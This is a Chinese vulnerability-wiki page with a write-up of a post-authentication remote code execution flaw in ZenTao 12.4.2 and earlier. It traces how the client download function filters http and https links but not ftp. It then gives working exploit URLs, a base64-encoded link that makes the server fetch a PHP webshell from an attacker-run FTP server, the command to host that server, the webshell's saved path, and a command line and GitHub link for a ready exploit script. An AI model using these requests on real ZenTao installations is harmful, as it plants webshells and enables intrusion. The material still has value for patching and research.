menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right 禅道 chevron_right 禅道_=12.4.2 后台getshell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    禅道_=12.4.2 后台getshell.md
    5.85 KB / 2021-04-21 09:23:46
        # 禅道<=12.4.2 后台getshell
    
    
    
    ## 漏洞利用
    
    Exploit:
    
    http://127.0.0.1/zentao/client-download-1-(base64 encode webshelldownload link)-1.html
    
    http://127.0.0.1/zentao/data/client/1/(download link filename)
    
    
     **复现:**
    
    ![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/clip_image002.jpg)
    
    使用**FTP****协议**下载文件,绕过**module/client/ext/model/xuanxuan.php:10** **downloadZipPackage** 的**HTTP****协议**过滤。
    
    
    ![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/clip_image004.jpg)
    
     
    
    ## 代码分析
    
    首先该漏洞需要后台管理员权限,所以我们首先登陆至后台。通过下图我们可以看到登陆后的界面URL为:
    `http://192.168.52.141/zentaopms/www/index.php?m=my&f=index`
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t012b1edfbb5968327e.png)](https://p2.ssl.qhimg.com/t012b1edfbb5968327e.png)
    
    我们看到后台界面分别对m以及f参数进行传参,那么不难猜出大概就是调用my类下的index方法,我们看一下该段的代码。
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t0159e9407d7b4a59e9.png)](https://p1.ssl.qhimg.com/t0159e9407d7b4a59e9.png)
    
    在/module/my/lang/zh-cn.php下可以看到存在指向index的方法,这验证了我们上面猜测是正确的,那么我们下面来看一下文件下载漏洞点的代码部分。
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01e389578003518177.png)](https://p2.ssl.qhimg.com/t01e389578003518177.png)
    
    漏洞是发生在client类下的donwload函数中,我们定位函数至/module/client/control.php中找到该方法,本段代码大致意思就是会接收三个参数version、os、link,然后去调用**downloadZipPackage**方法进行文件下载操作,并对一些下载失败事件进行不同回显,比如downloadFail,saveClientError在上图的方法列表我们可以看到他们调用的方法的具体含义,这里就不再赘述,最后如果没有失败事件时间就会返回成功。在downloadZipPackage并不需要os方法,所以这在我们后期利用时也不需要传入该参数。
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01bc3554884a1ddd3a.png)](https://p1.ssl.qhimg.com/t01bc3554884a1ddd3a.png)
    
    然后继续跟进downloadZipPackage方法中,注意重点来了,漏洞真正的产生原因就在该方法中。
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01d664441732fb42e4.png)](https://p2.ssl.qhimg.com/t01d664441732fb42e4.png)
    
    我们可以看到这段代码首先对传入的link参数进行了base64解码操作,这里的link参数就是我们shell的远程地址,然后下面会通过一个正则表达式进行判断,link地址是否以 http:// 或者 https:// 开头,如果存在则return返回false并退出方法,否则调用方法**parent::downloadZipPackage**,这里其实忽略了FTP这一文件下载方法,也就是说我们可以通过FTP服务代替进行文件下载操作从而绕过正则的限制。
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01be4bcd3b62e34b7c.png)](https://p0.ssl.qhimg.com/t01be4bcd3b62e34b7c.png)
    
    downloadZipPackage方法就没有什么问题了,就是一段文件下载函数,会通过传入的version值创建并命名在data下创建的文件夹并将下载的文件保存在其中。
    
     
    
    ## 漏洞利用
    
    那么这其实就是很清晰了,通过文章开始介绍的m和f参数的调用,我们可以对client类以及download参数进行调用,并传入download参数必要的version以及link参数就可以完成漏洞的利用了。这里的link地址是base64加密后的ftp连接地址,,比如:
    
    **ftp://192.168.52.1/shell.php**
    
    大家可以直接使用python的pyftpdlib模块开启FTP服务比较方便,命令:
    
    **python -m pyftpdlib -p 21 -d .**默认开启匿名用户,不需要输入用户名密码。
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t010ff8a21f7d431f36.png)](https://p0.ssl.qhimg.com/t010ff8a21f7d431f36.png)
    
    构建exp如下:
    
    ```
    http://ip/zentaopms/www/index.php?m=client&f=download&version=1&link=ZnRwOi8vMTkyLjE2OC41Mi4xL3NoZWxsLnBocA==
    ```
    
    可以看到回显弹窗保存成功,然后再到靶机中查看发现下载成功,保存路径至
    
    ```
    /zentaopms/www/data/client/1/shell.php
    ```
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01e196a8e5fd936c20.png)](https://p1.ssl.qhimg.com/t01e196a8e5fd936c20.png)
    
    连接木马,成功利用!
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01f672108d970a681f.png)](https://p4.ssl.qhimg.com/t01f672108d970a681f.png)
    
     
    
    ## 漏洞利用EXP
    
    所以本文最突出的一个部分来了,就是我们有EXP啊。通过两个夜晚的努力,终于完成了,其中也碰到了不少坑,但是好在都解决了。下面由我来介绍一下他的使用方法吧。
    
    [![img](resource/%E7%A6%85%E9%81%93%3C=12.4.2%20%E5%90%8E%E5%8F%B0getshell/media/t01af2b24af5c3ddc4c.png)](https://p3.ssl.qhimg.com/t01af2b24af5c3ddc4c.png)
    
    构建命令:`python "Zentao RCE EXP.py" -H http://192.168.52.141 -U admin -P Admin888 -f 192.168.52.1`
    
    其中-H指定目标主机,-U指定后台用户名,-P指定密码,-f指定VMnet8网卡的IP,这样虚拟机才能正常访问到物理机的FTP服务,当然如果测试环境也在虚拟机中则可以修改源码自动获取IP即可,这里是以我的环境为准所以没有这么做,也因为我觉得麻烦一点来换取兼容性更好一点是不亏的,所以小伙伴可以自行修改使用,我想这也不难,源码中也标注了修改位置。目前已经上传至github,有兴趣的小伙伴可以自行下载测试。
    
    **EXP github地址:**`https://github.com/wikiZ/Zentao-RCE`
    
    links
    file_download